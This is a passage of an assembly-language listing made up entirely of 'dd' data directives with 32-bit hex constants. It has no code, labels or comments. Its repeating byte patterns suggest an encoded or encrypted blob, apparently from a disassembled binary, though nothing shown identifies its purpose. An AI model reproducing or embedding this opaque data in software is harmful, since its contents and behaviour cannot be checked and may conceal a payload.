		dd 188F2Ch, 0C0308E00h,	0B7BFE35h, 0C838B56Ah, 272F62Dh
		dd 0CE3EBC73h, 883B7027h, 44DBBA2Ah, 8DA273E3h,	49D6BF2Fh
		dd 289B7AEAh, 0A67A9F26h, 8001169Eh, 57C724BCh,	0D925D95Fh
		dd 47ABE858h, 5FE6F8D7h, 169BF79Bh, 7CA52022h, 721693F7h
		dd 0A4999D0Dh, 3A042BFCh, 0C0A7AF9h, 753C5733h,	74A4549Dh
		dd 0FE77DB6Ah, 9F94108Eh, 956AAC1Ch, 2EF0C1F5h,	65E6B797h
		dd 0E010B0A8h, 0FA367DEh, 794A896Fh, 0E864F3Dh,	7746AF9Fh
		dd 0B3832DDDh, 0F176BB83h, 7BB89581h, 51E387F7h, 94ABF3F2h
		dd 0ADB182B0h, 0D1B92984h, 5DC5268Bh, 2920488Dh, 63C7CCEAh
		dd 0D502DCF3h, 0D1C60027h, 0D3A248B8h, 0EC53DF5Ch, 3791B88Bh
		dd 4B5CBC9Bh, 5ACA2F64h, 0D111A875h, 0E4D211CEh, 17B760h
		dd 98086600h, 53C326FDh, 0A0106DC2h, 6ADA5ED5h,	0A616948Bh
		dd 0E0D3D8CFh, 0C23F262h, 0C55A3BABh, 111EF767h, 20B342B2h
		dd 0A742873Eh, 6829169Eh, 0E5864FD4h, 4501C460h, 0BE3DEE9Ch
		dd 0D07EC56h, 0EDC2053Bh, 6FCEE3A9h, 0D1A50BFFh, 18949DA1h
		dd 0C97CC2A8h, 169F2DD8h, 55E9AA3h, 72676BCFh, 0D330815Dh
		dd 0D88ED372h, 5C6D169Eh, 0A1FA273h, 0B169ED8h,	0C8573E6Eh
		dd 8C1AFB6Bh, 0A2E8C4ECh, 0FD04E64Dh, 73D20CD2h, 169EB22Eh
		dd 35D5B064h, 5CC45F69h, 0BF9D9F4Bh, 9EE3269Dh,	0B98A169Eh
		dd 53F7F2D1h, 99861087h, 0B787A818h, 0EE87F77Ah, 8E50C041h
		dd 8658C825h, 0B64B9ABFh, 0BA50611Ch, 9404677Ch, 0BBDDEC09h
		dd 0F9797BB1h, 16E8h, 0AC49B935h, 0F382F277h, 0C451C13Ch
		dd 0FC99096Fh, 0C253C327h, 87EBA6E5h, 4EB17E17h, 8CE837DEh
		dd 49AA791Ch, 0C38B3CD9h, 9EA4D900h, 59E3A416h,	93B68D4Fh
		dd 5A1086F2h, 47F7A149h, 2A0575FBh, 0B8854314h,	553FD824h
		dd 0A5249FB5h, 0B8169F36h, 59DAD7E7h, 0A5044DF8h, 0D6E7169Eh
		dd 0ED8E1CF9h, 8B22A1BDh, 8A169EA5h, 0D6F67DB9h, 0A169EA5h
		dd 11FB3BABh, 9EA56FB2h, 0F63D0E16h, 76110575h,	3D5B903Fh
		dd 0C46FACEFh, 863199B6h, 1F87F257h, 940D9DC0h,	29000000h
		dd 0DE0EABh, 86F21045h,	0E4D2E310h, 86F23C61h, 61D13210h
		dd 4BBB3C35h, 2F137A4Bh, 0AFF0369Ah, 90537AE1h,	0A2507F3Ah
		dd 78BE2E91h
		dd 45A8E387h, 0CB97A82Bh, 5Bh, 0B68D4FDFh, 1086F293h, 68DA515Ah
		dd 2D647601h, 0D513502h, 9A1303F4h, 0E889D5F0h,	0CD0A1086h
		dd 0F7CCC739h, 977716F8h, 0D30C3A16h, 741FDBFCh, 0A9F9108Eh
		dd 0DB27D7C1h, 0F4CAE555h, 0F868C9EAh, 0CABB312h, 4B68169Ch
		dd 0F1A580E8h, 5B97CA08h, 464D4274h, 239377E7h,	4FB58312h
		dd 0F293B68Dh, 2D5A1086h, 97735CCCh, 112D5D21h,	9BF6E2B2h
		dd 0BC829316h, 402FA99Bh, 63076EAEh, 6BCEE3A9h,	28C2BBFBh
		dd 7D1888EBh, 9D545A6h,	0DCDA4AA8h, 140D07E3h, 28B42E96h
		dd 8AE1F315h, 1BFD71A5h, 47239316h, 96A5D50h, 3DF41DA8h
		dd 0A6771693h, 5162EC89h, 0B99680F0h, 73E360D1h, 0DA585943h
		dd 661A806Ah, 21362836h, 0BFC65C27h, 0A914F6C0h, 1089DA09h
		dd 74E44734h, 0E2464D42h, 6BB85D72h, 6DC69808h,	0A39C9A0Ah
		dd 327F4DC7h, 1D1D66CEh, 61C2C49Ch, 9377484Eh, 97528228h
		dd 0A9149B84h, 112D9D1Eh, 0C45C6144h, 0F9914414h, 0B626859Ah
		dd 9D0D7380h, 0C4EB9A99h, 4E108003h, 0BB6CB510h, 3E0F94E7h
		dd 0E0878F5h, 0E53A5931h, 9A201686h, 1DA8B6E6h,	92FD403Dh
		dd 82C77E40h, 699AF093h, 7E51C13Ch, 0C49AC451h,	0C5622693h
		dd 8D385EFDh, 9AF09044h, 7D481627h, 9AF09054h, 0A7640617h
		dd 0D1E2D444h, 28B8FE6Eh, 3AB90EC1h, 0F5DA4AAEh, 40B01320h
		dd 2C4F8856h, 0A878BB03h, 29CDC3A7h, 0EE5EE5F9h, 6F9CEA55h
		dd 0CF33805Eh, 53E0AB5Fh, 2F9680F0h, 0B00D51EEh, 0DBA2594h
		dd 0C8573EAEh, 0A9BAFC6Ch, 0D005D949h, 0BC3858B1h, 62754A4Ch
		dd 19F135F0h, 8A355C1Bh, 0A64FBF3Dh, 0B8288FA4h, 1FB6817Eh
		dd 26CBBEE8h, 0F97BB852h, 0A8189B98h, 0ED34916Eh, 90B00DFDh
		dd 87F774BFh, 1F9D96A8h, 0F49667AFh, 57C7293Ah,	7568CF5Fh
		dd 0F382F252h, 6650C03Ch, 400324D4h, 0B00DFD19h, 0E2FCD3E4h
		dd 0C636B7FCh, 0B00BFFD0h, 0B610F9E4h, 456C9099h, 0EAFE4B11h
		dd 0F5DA4AA9h, 0A2DBECE9h, 46DA7FEAh, 0BC851171h, 5733EAEAh
		dd 802FD6DDh, 0A075E547h, 0FEC03093h, 0CFC737B5h, 0C0EF5FE2h
		dd 74F7EC2Ah, 0E3771204h, 1DAABCF2h, 0BFF7764h,	2D8E39A4h
		dd 0B6D0F9CCh, 8A9BB626h, 93BC2C89h, 0C5698ACBh, 9C7D1900h
		dd 76BB9FEEh, 940466F2h, 0E882ADA2h, 485A40ADh,	28C83Eh
		dd 24E40000h, 2D8658C8h, 67585ECEh, 5F1F8983h, 0A8B40F2Fh
		dd 6B169C08h, 0E58FD271h, 5D6E1693h, 5D3809ADh,	2957h
		dd 0C8243300h, 0ED588658h, 1086F2A4h, 0BE3D7647h, 0AC729C4Eh
		dd 0F2CE13B2h, 9CAD1086h, 0C4F4C4EEh, 0AF34BFAh, 0A172169Ch
		dd 5EB268D4h, 0ABB3E393h, 8FFF80B1h, 0FB58C0DBh, 1425169Bh
		dd 0F603D48Ah, 0CCF7B5ECh, 0D8019C4Eh, 41032FF8h, 452595F0h
		dd 637BAB4Bh, 550038E0h, 0C2F4C5ECh, 0DC678838h, 1058EDB5h
		dd 76486738h, 0D4617668h, 9837D791h, 573257CEh,	0E8B91058h
		dd 4263A3CFh, 593183F0h, 42377B6Ah, 1529FA16h, 49379F1Ch
		dd 2E4CE8E6h, 909F7659h, 0B3AC333h, 50B6F91Bh, 12D6DE66h
		dd 0E7470000h, 30919E77h, 7FFE35C0h, 37B9660Fh,	81012EC7h
		dd 64278411h, 0BC59C929h, 5900067h, 0B75ECE2Eh,	0FA9B0B68h
		dd 1B3E05C9h, 0E2169EA8h, 8D4F1B21h, 86F293B6h,	0A1495A10h
		dd 86F3DF02h, 0B8E89810h, 1CB71FA6h, 0F5C6169Ch, 0FC6CC8E9h
		dd 7EFC3519h, 5337080Eh, 0B0E656D6h, 4DD040C3h,	0B7D76914h
		dd 6DC9294Bh, 0B0000012h, 200FE656h, 0CF6431A1h, 817FE6Eh
		dd 0C65D38A8h, 8A21F464h, 0BC2C8E01h, 75E54AD9h, 0C13193A0h
		dd 0C7CFF34h, 0D5705E69h, 169EA88Ch, 4F8EAE6Fh,	0E9AFC886h
		dd 57EE99C4h, 1086D432h, 23C7E8B9h, 0C599C96Dh,	9C3B96FEh
		dd 8D6E716h, 0D9DE46ABh, 0CD77C806h, 0B1AFA98Eh, 795D20FEh
		dd 754F8856h, 2DFB9476h, 0B222A192h, 366BDD8h, 9CB9A393h
		dd 5AF6A3Eh, 3DEE9C9Eh,	5B484EBEh, 403165D5h, 0A26551C1h
		dd 261FC4EBh, 0F277507Fh, 51CAF382h, 0D3B07364h, 4882CD17h
		dd 0B5557AEAh, 320C3CFBh, 26108001h, 0F63B4129h, 0B0130373h
		dd 1693D26Ch, 0F5D2FDA4h, 0C2710474h, 0DF4FB33Fh, 0DBD8C6F0h
		dd 0D0ADE959h, 90C0803Ah, 1FAAF7CEh, 0E0B1108Ah, 0CA56D5DEh
		dd 40D5FA6Ah, 0F62090F3h, 0BA84B484h, 0B2503B0Bh, 55693A1Ah
		dd 866FDF5Ch, 6CAA1A99h, 340A3AFEh, 49769B2Ah, 24F502C3h
		dd 955F046h, 0EC04D9B8h, 3E365BEAh, 0E4B508DCh,	0C9F732CBh
		dd 4A6CA591h, 1153EAh, 0FC6CCA00h, 37A70A19h, 474D15Eh
		dd 0CE3EC271h, 0A7AF827h, 447F2C6Bh, 909F76E6h,	49D6BF2Fh
		dd 859A7BEBh, 0F4DFB626h, 0A9365BEAh, 34B5169Eh, 0F29AB608h
		dd 56D61086h, 0D7A70FE6h, 2C97A7h, 25169F3Eh, 0B1144A14h
		dd 169EBF68h, 0B2110213h, 8F7B5442h, 0F6CD8FCDh, 169EBFD3h
		dd 30E1899Ah, 835965D5h, 9EBF99C0h, 0B7536416h,	43A650DCh
		dd 0E3972826h, 9FDD3EF2h, 0C2A84231h, 15162h, 0FAB3600h
		dd 8D4FDDDFh, 86F293B6h, 0A1495A10h, 0F2E4289Bh, 36171086h
		dd 0B68D4F06h, 1086F293h, 9BA1495Ah, 0CB01AA9Fh, 0BCE010ABh
		dd 0CAB6E52h, 0AB8FE0DCh, 0A82673A6h, 60B968h, 0E6EF0000h
		dd 1CF411F5h, 69D1B97Ch, 63C410ABh, 4FE0DCF3h, 59C9248Dh
		dd 1B8A605Dh, 1086F2F3h, 4F7BA172h, 0D854E062h,	7E512E68h
		dd 4F72CA8Ch, 763B3786h, 24C615EFh, 7BFA86E7h, 1D320B0Bh
		dd 0E3624F1Fh, 82CC9773h, 3360D031h, 583561D1h,	624F8AB2h
		dd 82F251DDh, 0F69469ADh, 16C6h, 10ABE200h, 0F44FBCE0h
		dd 1086F2A8h, 4FCAF2DBh, 59C9246Bh, 0A6725663h,	68A82673h
		dd 49B9h, 624FCD00h, 484571E1h,	1949F8A2h, 0A8F44F23h
		dd 0EB1086F2h, 0D343C0F1h, 86F22F72h, 0DFDCE10h, 4FA498A9h
		dd 0ADF44F8Dh, 0EE1086F2h, 86F23257h, 38E8B910h, 4F8F8367h
		dd 4571E162h, 1071A248h, 72567CA0h, 47B5h, 0CABD100h, 0D7DC02DCh
		dd 0DDB2E454h, 86F22168h, 0FFBCC10h, 0A8F44F2Bh, 0DB1086F2h
		dd 624FCAF2h, 54296DDDh, 249CA0B6h, 538955C5h, 86F2A9F0h
		dd 0A7435410h, 0B68D4F73h, 1086F293h, 0A2A1495Ah, 6ADA5B58h
		dd 83B7532Ch, 0FFFE9DB5h, 0BABD1FFh, 414003DBh,	1C169F3Fh
		dd 7DFE330Bh, 0DAD75D0Dh, 9E0CE959h, 0C33391DDh, 9D5FAD3h
		dd 9EBF173Ah, 0F9C5D616h, 0CCCA3AB8h, 961D17F3h, 169EBF7Dh
		dd 7D033006h, 8B325D0Dh, 0C06B3BBEh, 45C19Dh, 0B6D50000h
		dd 1086F297h, 0E4FA6AC9h, 0BEF868CFh, 674A29C1h, 1086F227h
		dd 0ED000C0h, 0F22C75D0h, 0BE421086h, 0C977484Eh, 0A7EF5FDCh
		dd 4B11F9D6h, 9C1AA478h, 530E4716h, 0AFAF2AEh, 0BE8F2FDBh
		dd 0B4D9D7h, 0ABAD0000h, 4003DB0Bh, 169C1A6Ch, 151E20F1h
		dd 0C4E2797h, 0DA2E73D2h, 0FCCD1693h, 2F9F1D0Eh, 8DBD81E7h
		dd 1C0A4B1h, 38B8BD65h,	70390C52h, 0FB108ABBh, 9A1F142Ah
		dd 7713EC2Ah, 70CCE5h, 50F3E975h, 1CAB2309h, 23EE3392h
		dd 0BC8D1CABh, 0DA573304h, 3EACEA5Ah, 0A7EA597Ah, 461CAB23h
		dd 4DBD3E75h, 0A3E95C62h, 4A1AB2EFh, 4670E05Dh,	5B586649h
		dd 968D68D8h, 93D8A515h, 0D4ABA679h, 0E7662E2h,	47A70000h
		dd 90F13ED7h, 5FDE5520h, 971906EFh, 61E14E27h, 48724F1h
		dd 0DCB92989h, 0A570E047h, 0D7BE2E8Eh, 9A7BEB48h, 7B9E2529h
		dd 2169EACh, 8D4FBB81h,	86F293B6h, 44DF810h, 0E71086F2h
		dd 0B1596AD6h, 0F0770380h, 7A67AF80h, 7CB589F9h, 0B4898DFDh
		dd 0F8A158D6h, 118102C5h, 1DCC3184h, 385497A8h,	68000000h
		dd 3DB0BABh, 0A97CFCD9h, 90D53531h, 0D207CBFAh,	0D5E6169Ch
		dd 0E773D0E1h, 5B3A1585h, 0BFF767C4h, 89558539h, 89EBE2BAh
		dd 0C3526310h, 0DBFEC597h, 0A21CADEBh, 2441F991h, 0EA4F64C5h
		dd 0E2433C7Ah, 1086F2BFh, 0CFD3753Eh, 741B5DF2h, 496A745Bh
		dd 0F89377E7h, 8856C62Bh, 5E58C82Bh, 288B8961h,	108656EAh
		dd 71982B31h, 0FC108656h, 72D23F2Bh, 73437302h,	50617B43h
		dd 0BAE981F1h, 169F9A41h, 220F2F00h, 269617A3h,	0F2090EDh
		dd 43A6C266h, 0C9972826h, 184h,	0EE0FABDDh, 86F23257h
		dd 0C7E8B910h, 0C223DEF7h, 18F299C2h, 8D4FCA72h, 86F293B6h
		dd 0A1495A10h, 0F2E4289Bh, 0A271086h, 5A7F46A7h, 211086F2h
		dd 0F94B3F10h, 6B4FE8D4h, 0ABCB01AAh, 0DEE010h,	86F21C45h
		dd 1CCEDF10h, 0AB6E52F8h, 8FE0DC0Ch, 0E2624FABh, 9F4B4472h
		dd 0A826B9F4h, 9D181968h, 6FB2112Dh, 0E1386F2h,	51ED4D3Dh
		dd 0C9000000h, 0DEE010ABh, 0F21C4500h, 0CEDF1086h, 624FF81Ch
		dd 494670E0h, 0E4289BA1h, 271086F2h, 87AD262Eh,	0F09A2703h
		dd 1B1F07D0h, 54FB1EA5h, 0B1821086h, 33D6AA6h, 6B4FF02Ch
		dd 6359C924h, 56B57256h, 0F3000000h, 0E9CE3EBEh, 46A39E08h
		dd 52DDDDFh, 0B9E810ABh, 7B6814DBh, 1F142A05h, 0DC402A9Ah
		dd 0F44F8D4Fh, 1086F2ADh, 308B7F50h, 1086F2ECh,	73962D2Fh
		dd 0FA1086F2h, 0C2EB4129h, 0E1624FDAh, 4DBD4271h, 0C0967449h
		dd 59C9247Ch, 0B68D4F63h, 1086F293h, 0A2A1495Ah, 2673A636h
		dd 39B968A8h, 0CD000000h, 70E0624Fh, 5FCF2D46h,	61209A70h
		dd 0F44F0B31h, 1086F2A8h, 4F407C4Dh, 39C5246Bh,	38644BBBh
		dd 864F7256h, 0EC131992h, 0B25E8B36h, 35FDD2E5h, 33467614h
		dd 62000000h, 0E0DC0CABh, 6FDF624Fh, 48B83A27h,	12B18367h
		dd 1086F2CAh, 1A8AE849h, 0CBF1DE70h, 20488D4Fh,	0F171CD12h
		dd 2436DE8Ch, 4F6755C5h, 7C6EDE62h, 73B55BC1h, 0D1FFFFFEh
		dd 3DB0BABh, 0F2276AD9h, 0F5C61086h, 5843F15h, 0F6169F3Fh
		dd 0CCCA3ABDh, 0D242C0F3h, 0A7B78838h, 0DCB9298Ah, 0E1FD2DCEh
		dd 3F62E1FBh, 0BE169EBFh, 7B9EFDEDh, 2169EBFh, 557E0531h
		dd 2E169EBFh, 0E3BA2F28h, 0FC316909h, 0D3CA30Eh, 9DC06AA0h
		dd 1828h, 0AB0D2600h, 0C7CF83Bh, 97B6B65Eh, 0C91086F2h
		dd 951BFA6Ah, 0EAh, 0B68D4F71h,	1086F293h, 0F7A1495Ah
		dd 35E81F47h, 0A7BAB77h, 1F498FA0h, 0A689A666h,	5C592D98h
		dd 0CBDC169Ch, 0CE3EBEF3h, 147CF827h, 0B23FBA9Eh, 0F8C6E924h
		dd 9B3A5FE6h, 0F0C11693h, 1321C1Ah, 355B0F7Fh, 4F8D5181h
		dd 0ADF44F8Dh, 5016939Bh, 9B83C67Fh, 596A1693h,	3165D55Ah
		dd 0A60FAE5Ch, 0D5108A56h, 3BB9FAC4h, 0DED848AFh, 0C3F0CEE1h
		dd 0F7C8CE3Eh, 1D67813h, 0BB8A1938h, 1CABD496h,	0F1734455h
		dd 0F93AD06Ch, 9D0B0B7Bh, 2E95A9D9h, 1AB246E8h,	3A408891h
		dd 0C56FFEEDh, 0CD0AD4EAh, 6DBF9E2Ch, 55D6B428h, 0A08F66D6h
		dd 93EAB323h, 0C8ABA761h, 0ACE46AEh, 0EF4F0000h, 2889967Fh
		dd 0E746DDB8h, 2F919E77h, 0E949D6BFh, 8CFF9C79h, 0B441B111h
		dd 0ED88F87Fh, 0AF46B636h, 2930380h, 13360DD1h,	0DA169E90h
		dd 0C7242319h, 0EE558757h, 1086F2ABh, 6BA94152h, 0A32F90A1h
		dd 9768AE1Eh, 0FA1FA6B8h, 811086F2h, 0DA59DAB0h, 248D2C6Ah
		dd 45AD0EB9h, 0FBFBDAB8h, 0B985AAC3h, 3F27AE9Ch, 87E9A29Eh
		dd 79FB3817h, 9F126109h, 97A8891Ah, 31A2h, 0BAB7600h, 0CEC838BFh
		dd 4500DEF1h, 169BF991h, 4E635364h, 0B6987DEDh,	0DC8EFE7Dh
		dd 825CCC2Fh, 0AB5FCF31h, 1747F781h, 14E87C47h,	5C6D1089h
		dd 0C52473B9h, 0F2B8E164h, 72431086h, 0C78B2465h, 3916DD9Fh
		dd 2D39595Ch, 51621086h, 0BD9284F4h, 70E05CCDh,	156115A5h
		dd 37A70995h, 0E210EFFh, 0E1919530h, 0DBE4169Fh, 0E6ED13FEh
		dd 0CC92BD97h, 0FF960667h, 2643A639h, 8EC99728h, 0DD000001h
		dd 6EDE624Fh, 0FDB35728h, 4F0F0D3Dh, 59C9248Dh,	0F2CA12B1h
		dd 0F8391086h, 3E0F0777h, 8D4F2B11h, 0F760C824h, 1D7CF61Ch
		dd 433C7A55h, 1AA73A7h,	0E010ABCBh, 0CE9052BCh,	86F2D2F7h
		dd 3DAD0C10h, 64D8B283h, 45C00CABh, 48FBE1D5h, 1086F201h
		dd 0DBF4DBECh, 0DB4BAE03h, 624F0B2Fh, 84F451DDh, 0CC926BABh
		dd 86F2D0F9h, 0E08A9B10h, 279EC09Eh, 1086F2E2h,	251181FCh
		dd 0C3A77828h, 0DE624F4Fh, 0B357286Eh, 0A826A5F8h, 6D0B68h
		dd 0F0410000h, 0CD452595h, 93B68D4Fh, 0CD1086F2h, 0C6B7FF6Fh
		dd 0F7A1495Ah, 0F1421C4Ch, 0C86C1E8Eh, 0F2A8F44Fh, 0F1EB1086h
		dd 86F20F52h, 3FC1EE10h, 0D9F6C7CFh, 0DDC48D31h, 929A60C2h
		dd 4F08341Bh, 7C6EDE62h, 87B3A4BAh, 0AC1C2675h,	0DF8E4C9Dh
		dd 7D52F74Bh, 0C924A58Dh, 4B4BBB3Dh, 0F29FC281h, 4D5E1086h
		dd 564F4D62h, 20B572h, 0ABD10000h, 4FBCE010h, 86F2A8F4h
		dd 0CAF2DB10h, 0F44F8D4Fh, 1086F2ADh, 0A78B7F50h, 6359C924h
		dd 73A67256h, 0B968A826h, 2Dh, 0DC0CABCDh, 0A8F44FE0h
		dd 4D1086F2h, 6B4F407Ch, 6755C524h, 54E0624Fh, 5C3165D5h
		dd 8FFA6473h, 33D36CFBh, 0B5200C57h, 37h, 0DC0CABD1h, 0E2624FE0h
		dd 0FFC69872h, 1086F2DFh, 1080E72Ch, 38062926h,	3DAD0D26h
		dd 78A104F9h, 31086F2h,	70992C32h, 0FB1086F2h, 4FDC402Ah
		dd 55C5246Bh, 0B5725667h, 0FFFFFE69h, 0DB0BABD1h, 3F414003h
		dd 9DBA169Fh, 7784ACE1h, 5C3C2E31h, 0BD3E734Bh,	4102A84Dh
		dd 220F4D11h, 80531A1h,	3F1E4362h, 0CCDD169Eh, 3F286BCAh
		dd 66D1169Eh, 0EB67D277h, 1EED9DC0h, 0C9000000h, 86F297B6h
		dd 0EFE3F410h, 15CA0E22h, 0F97AB753h, 17CB589h,	169AF991h
		dd 0B9h, 0DB0BABF2h, 0DF4FAE03h, 3204E6D7h, 9C006393h
		dd 3D011216h, 360878F4h, 5E0C7CFDh, 34A4200Fh, 98C87802h
		dd 31B2FFC6h, 0F8C9108Ah, 0E36FCDE6h, 272D05Ch,	3B143B14h
		dd 0F767C55Ah, 558539BFh, 0A9F05389h, 541CABAEh, 6551C127h
		dd 91A34768h, 0B262EC32h, 0A1062B1Ah, 62080531h, 60516D3Eh
		dd 60D057E3h, 9F765936h, 8BBA1BBh, 2C35AC1h, 0E72A9BACh
		dd 8602C35Ah, 0D754D5B5h, 0EEB99667h, 1026ABA6h, 763B4h
		dd 0CC3CBA00h, 777FA29h, 0D444C16Eh, 1E8EF241h,	0DA4AA877h
		dd 742F5C3Bh, 40EF86F6h, 79A64FBFh, 35EA8BFBh, 24AF46B6h
		dd 97468B3Ah, 6425169Eh, 0E2624FD8h, 189B9872h,	91BE2E8Ch
		dd 0BF2F8CA5h, 0C131929Fh, 0A4CEB29h, 0DBDB4BA9h, 1E9108E2h
		dd 3BDA4AA9h, 0A81A0366h, 428997h, 0AB9D0000h, 4003DB0Bh
		dd 169C1BA0h, 8C526C3Dh, 93DB90B9h, 0A04A5B16h,	268BA876h
		dd 0DB8F80B6h, 93DB9DC0h, 0AF6A16h, 0D343C1F2h,	18F262E0h
		dd 0BD43109Dh, 43989Dh,	0C1960000h, 70FB97B0h, 0D73B2FEEh
		dd 6FDF624Fh, 3961157Bh, 986DF43Eh, 320C237Bh, 9C8AC393h
		dd 63C5B216h, 0C9DADCF3h, 41BFA6Ah, 79FF37A7h, 0FAC995C5h
		dd 10899BFAh, 0C394AA7Bh, 789BF01Ch, 6803E7B8h,	8F62B2C4h
		dd 249FBFEFh, 169BFB3Ch, 17AE7041h, 0D6E8361Dh,	2C326216h
		dd 175DF199h, 6BAB7CD0h, 350939FDh, 3C46178Eh, 895566DAh
		dd 0BA5BCB28h, 7960665h, 0EB36F124h, 4D4DB5BFh,	0D0000006h
		dd 0C06F0676h, 0EF44D141h, 0A8771E8Eh, 0E63DD848h, 2A811484h
		dd 5CCC2E61h, 95056AB9h, 61D13300h, 0AC1C9F94h,	75D0FEC9h
		dd 169E942Ch, 24EE4ECFh, 525F57C7h, 76BB83F3h, 87E684F4h
		dd 0EC3892C3h, 27B48CE1h, 4B65AC17h, 37081086h,	69995D53h
		dd 86C3EE55h, 0B17A169Fh, 941483A9h, 181E31A3h,	633AAA0Bh
		dd 0B7D31A7Ah, 0DDEB476Dh, 40000005h, 70BF56C6h, 5FD4A111h
		dd 98876EDEh, 56CDA818h, 1A9164D4h, 2C9C1E91h, 0E555DA49h
		dd 31A12310h, 0FC6CCF64h, 25A0AE19h, 169E95FCh,	0AB3EFE7Fh
		dd 4003DB0Bh, 169F3F75h, 27971B08h, 5311EEFh, 5C2191ECh
		dd 0B7D44959h, 8D107482h, 90000005h, 2FC636h, 0AF841181h
		dd 0E837DE4Eh, 0A67D1888h, 6A41D444h, 9C0C6E21h, 55C52AF9h
		dd 0A11173C0h, 6CDC5FD4h, 0B5103E89h, 169E956Ch, 0ABAE8E0Fh
		dd 4003DB0Bh, 169F3F79h, 7E154204h, 4BC41D49h, 85A3E65Fh
		dd 884A169Eh, 9E8594BDh, 69465716h, 0E2635046h,	1FA6AB72h
		dd 3B39B7D4h, 52BB7h, 2494F200h, 0EF5FE251h, 2C9C1906h
		dd 0E656DA49h, 32A2200Fh, 4C474463h, 88977EEEh,	51DEB727h
		dd 3DF283F3h, 1CA74EBEh, 954E9332h, 6C2D169Eh, 0E3624FD0h
		dd 0CD06DE7Bh, 0E4CB3130h, 0FC2DDDB2h, 8CF37Fh,	0F83B1484h
		dd 0F2240B7Bh, 24128201h, 969CA8Ch, 17C6F199h, 0C1F253B0h
		dd 0E8E5D141h, 860E143Dh, 0CDC6D710h, 9D5FA6Ah,	2DDD4DA8h
		dd 272D15Eh, 970D4A14h,	9E4F365Bh, 0D10B4EF5h, 21F21086h
		dd 1D415C0Eh, 731086D1h, 53B017C6h, 56D6DBE3h, 2BDFB0E6h
		dd 65E0FE60h, 1086D13Ch, 0FFCEEBFh, 0E9FA3CACh,	2B7B1A8Ah
		dd 59835B8Bh, 0E328C27Ch, 0A04A47ABh, 9B94CD05h, 95302E16h
		dd 16938A4Ch, 4C6C1E2Fh, 286EDE5Fh, 0B73E7857h,	16938A96h
		dd 0D3545D5Fh, 6EA65F6Bh, 2C037DBAh, 0DD6C533Eh, 9DBD6750h
		dd 33D8h, 0BABB400h, 0F04003DBh, 8D169BF5h, 9C6C19C4h
		dd 103F44A6h, 9A7E9F26h, 11701693h, 0FB7C75A1h,	0C5EC8B8Bh
		dd 0B661C91Ah, 81B74207h, 0DE3D9DBDh, 59000000h, 93B68D4Fh
		dd 5A1086F2h, 1370A149h, 9EB12187h, 0B3F997C0h,	0B186F674h
		dd 0C9A14002h, 64D4564Bh, 0E0476C32h, 0A1494670h, 9BA31370h
		dd 71A51596h, 3340EE9Ch, 309560D0h, 10868BAAh, 0A075E546h
		dd 0FEC03093h, 24C636B5h, 90C080EAh, 0EC3590CEh, 8F108670h
		dd 0BB8ACCBEh, 169B7673h, 665421F2h, 0E95C6292h, 108B18A1h
		dd 851F4EAh, 0F31CABC2h, 47584822h, 4BBB3A77h, 0C698724Bh
		dd 0C19D0D6Dh, 14AF1070h, 1CABC2CDh, 0DAB09FB0h, 960664BBh
		dd 0BF66FC07h, 65CDE7B1h, 370h,	14E151ADh, 4B2A9A1Fh, 0CE959D4h
		dd 54219117h, 0AEB5BDFh, 1FA31E8Dh, 0D659C6AFh,	24A08F66h
		dd 0F152E1B4h, 0FBE3F481h, 9E9B0148h, 112BEC16h, 0DE65C624h
		dd 1086F2BBh, 0B75E7142h, 0FA9B0B68h, 0DB0BAB2Eh, 0DAFCD903h
		dd 1A08CB63h, 3129C9Fh,	4788E634h, 36E38944h, 0E882AD98h
		dd 9B507DBDh, 0E72F0016h, 935B418Ch, 0B282E16h,	0FD39A9h
		dd 0C9802F6Ah, 9DBDC364h, 0DB4BAD06h, 1C08E2DBh, 0BAh
		dd 57C724F0h, 80F0525Fh, 0F6A92F96h, 0C0431086h, 0C52BB734h
		dd 0C0557A55h, 76A01073h, 3A043404h, 370777F9h,	86F7458Ch
		dd 73172810h, 0F1DA62E1h, 4A5B169Bh, 0B3BFBABh,	9EA79033h
		dd 3F74108Bh, 7F4D49B9h, 0AA5D9DC4h, 604F601Ch,	0F20D168Ah
		dd 9FC59126h, 426F4F60h, 99C550C0h, 0D4D900C3h,	93A41CAAh
		dd 48B83AF7h, 0C070A0B5h, 0C52D47B1h, 278h, 3CD949A5h
		dd 831282E7h, 14E151ACh, 4C29991Fh, 12E353D7h, 179B1695h
		dd 0DE61CEA7h, 1C98876Eh, 0D95AC9ACh, 133B8C69h, 9E9869B0h
		dd 0E9531416h, 0B83AC624h, 5A576748h, 0C72A69D9h, 7C6E5F57h
		dd 51C142F1h, 624F78C4h, 54296DDDh, 6AF675B6h, 7FB79808h
		dd 28851172h, 0AE817EB8h, 0EF1FDFC7h, 13360DCFh, 0DA1086F2h
		dd 0A81B21C9h, 169C1BD8h, 0E3625465h, 1693DBBAh, 68E1CC43h
		dd 9DBD4705h, 2E8Bh, 0BAB9F00h,	0EC4003DBh, 0F169C1Ah
		dd 531A122h, 6D3E6208h,	70E06051h, 73A14946h, 93DACD10h
		dd 0D0FFBA16h, 0BD41F479h, 337C9Dh, 0B6900000h,	1086F296h
		dd 617DAD51h, 0DCF55A7Bh, 545079F4h, 2B6BDB5Fh,	7D0DB852h
		dd 9E169C7Bh, 4758E4B9h, 15F564BEh, 89CE90A1h, 0BB8181EAh
		dd 8510FA15h, 0E3624FB7h, 5D219773h, 0BEB2112Dh, 0BF169C1Fh
		dd 0D2FD6DD2h, 0DC3C61E4h, 4EC91693h, 4C7FEA5Fh, 4A059DBDh
		dd 21000000h, 86F297B6h, 8FB05010h, 86F2ED34h, 0E7E0310h
		dd 0B8893708h, 0C795C797h, 86F2D5FCh, 0E3879810h, 9C2628B8h
		dd 0E2F3B516h, 11AC350Dh, 0D0F9ACB7h, 9B169308h, 8ED0A58Ah
		dd 8ACF550h, 7E4F1693h,	0C7012459h, 0E2889A11h,	0DB0BAB3Ah
		dd 0DA4AAE03h, 0F161C7DCh, 3E7C8C5h, 3F379231h,	7546169Fh
		dd 7BEB4869h, 9A26859Ah, 906DA919h, 4DF177BFh, 533AD025h
		dd 6D42D5A3h, 0DE52F251h, 0D2E31087h, 0D444A70Ch, 2191F241h
		dd 67B383F5h, 6DC79000h, 0A331CC9Dh, 1DBE3CCh, 4C2168DBh
		dd 0BD3F1CB7h, 0CC74494Dh, 68B40FFBh, 0D1AADBDh, 0C7B6613Ch
		dd 8FA5ABA5h, 0B333h, 9C0C6A00h, 57C72AF9h, 0A41471BEh
		dd 6EDE62D1h, 0AA1A9887h, 0E4DFCCCBh, 0B07F1686h, 0E936DF4Fh
		dd 0A57A1B8Bh, 943FD646h, 9ED6FBCAh, 0D495169Eh, 0DB0BAB68h
